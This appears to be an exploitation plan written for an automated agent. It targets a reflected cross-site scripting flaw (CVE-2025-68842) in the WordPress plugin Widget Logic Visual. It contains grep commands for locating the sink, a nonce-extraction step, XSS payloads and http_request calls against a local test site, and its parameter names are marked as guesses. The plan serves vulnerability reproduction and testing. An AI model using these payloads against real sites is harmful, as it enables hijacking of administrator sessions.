Widget Logic Visual <= 1.52 - Reflected Cross-Site Scripting

This research plan targets CVE-2025-68842, a Reflected Cross-Site Scripting (XSS) vulnerability in the Widget Logic Visual plugin. Since source files were not provided, this plan is designed to help an automated agent identify the specific vulnerable parameter and execute a Proof of Concept (PoC).

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1. Vulnerability Summary

The Widget Logic Visual plugin (versions <= 1.52) fails to sanitize and escape user-supplied input before reflecting it back onto the page. This typically occurs in administrative pages or AJAX handlers used for testing or previewing widget visibility logic. An unauthenticated attacker can craft a malicious URL that, when clicked by a logged-in administrator, executes arbitrary JavaScript in their browser context.

2. Attack Vector Analysis

• Endpoint: Likely an administrative page (/wp-admin/admin.php, /wp-admin/widgets.php) or an AJAX handler (/wp-admin/admin-ajax.php).
• Vulnerable Parameter: Likely related to the logic "preview" or "test" functionality. Candidate parameters: wlv_logic, logic, test_logic, or msg.
• Authentication: Requires a user (typically an Admin) to click a link (Reflected).
• Preconditions: The plugin must be active.

3. Code Flow (Search & Trace)

The agent must first identify the sink. Use the following steps to trace the flow:

1. Identify Entry Points:
   Search for all instances where $_GET, $_POST, or $_REQUEST are used in conjunction with echo, print, or printf.

   grep -rP "echo\s+\\\$_(GET|POST|REQUEST)" wp-content/plugins/widget-logic-visual/
   

2. Look for Plugin Settings/Logic Pages:
   Check widget-logic-visual.php (the main file) for add_menu_page or add_submenu_page to find the settings slug.

   grep -rn "add_.*_page" wp-content/plugins/widget-logic-visual/
   

3. Search for AJAX Handlers:
   If the reflection is in an AJAX response, find the registered actions:

   grep -rn "wp_ajax" wp-content/plugins/widget-logic-visual/
   

4. Pinpoint the Sink:
   Look for code similar to:
   echo '<div>Logic: ' . $_GET['wlv_logic'] . '</div>'; (inferred)
   Or usage within an attribute:
   value="<?php echo $_GET['wlv_logic']; ?>" (inferred)

4. Nonce Acquisition Strategy

Reflected XSS often occurs in administrative contexts where a nonce might be required for the initial request.

1. Identify the Script Handle: Search for wp_localize_script in the plugin code.

   grep -rn "wp_localize_script" wp-content/plugins/widget-logic-visual/
   

2. Determine the Variable Name: Note the object name (e.g., WLV_Data or wlv_params) and the key for the nonce.
3. Setup for Extraction:
   • The plugin likely enqueues scripts on the Appearance > Widgets page or its own settings page.
   • Step 1: Use wp post create if a shortcode is needed, but for this plugin, the Widgets page is more likely.
   • Step 2: Navigate to browser_navigate("/wp-admin/widgets.php") as an Admin.
   • Step 3: Extract the nonce:

     // Example extraction (replace with actual variable found)
     browser_eval("window.WLV_Data?.nonce")
     

5. Exploitation Strategy

Once the vulnerable parameter (e.g., wlv_logic) is identified:

1. Payload Crafting:

   • Basic script tag: <script>alert(document.domain)</script>
   • Attribute breakout (if inside value=""): "><script>alert(1)</script>
   • URL encode the payload.

2. HTTP Request (Simulation of Victim Clicking Link):
   Use the http_request tool to send a GET request to the vulnerable endpoint with the payload.

   {
     "method": "GET",
     "url": "http://localhost:8080/wp-admin/widgets.php?page=widget-logic-visual&wlv_logic=<script>alert(1)</script>",
     "headers": {
       "Cookie": "[ADMIN_COOKIES]"
     }
   }
   

3. Target Selection:
   If the vulnerability is in an AJAX action:

   {
     "method": "POST",
     "url": "http://localhost:8080/wp-admin/admin-ajax.php",
     "headers": {
       "Content-Type": "application/x-www-form-urlencoded"
     },
     "body": "action=wlv_test_logic&nonce=[NONCE]&logic=<script>alert(1)</script>"
   }
   

6. Test Data Setup

1. Activate Plugin: Ensure widget-logic-visual is active.
2. User Creation: Use an Administrator user to trigger the reflection (since it's an admin-side plugin).
3. Widget Placement: If the reflection happens on the frontend via a widget logic test, add a widget to a sidebar.

   wp widget add text sidebar-1 --text="Test Widget" --wlv_logic="is_home()"
   

7. Expected Results

• The HTTP response body should contain the raw, unescaped payload: <script>alert(1)</script>.
• If viewed in a browser, a JavaScript alert should fire.
• The response Content-Type should be text/html.

8. Verification Steps

1. Inspect Response:
   Use http_request and check if the string <script>alert(1)</script> appears in the response without being transformed into <script>.
2. Identify Missing Escaping Function:
   Confirm the source code at the identified sink uses echo $variable instead of echo esc_html($variable) or echo esc_attr($variable).

9. Alternative Approaches

• DOM-Based XSS: If the plugin uses jQuery.html() or innerHTML to display the logic from a URL fragment, test with /#<img src=x onerror=alert(1)>.
• Attribute Injection: If the input is reflected inside a value or data- attribute, try breaking out with quotes: " onmouseover="alert(1).
• Admin Notice XSS: Check if the plugin echoes errors in the admin_notices hook from $_GET['message'].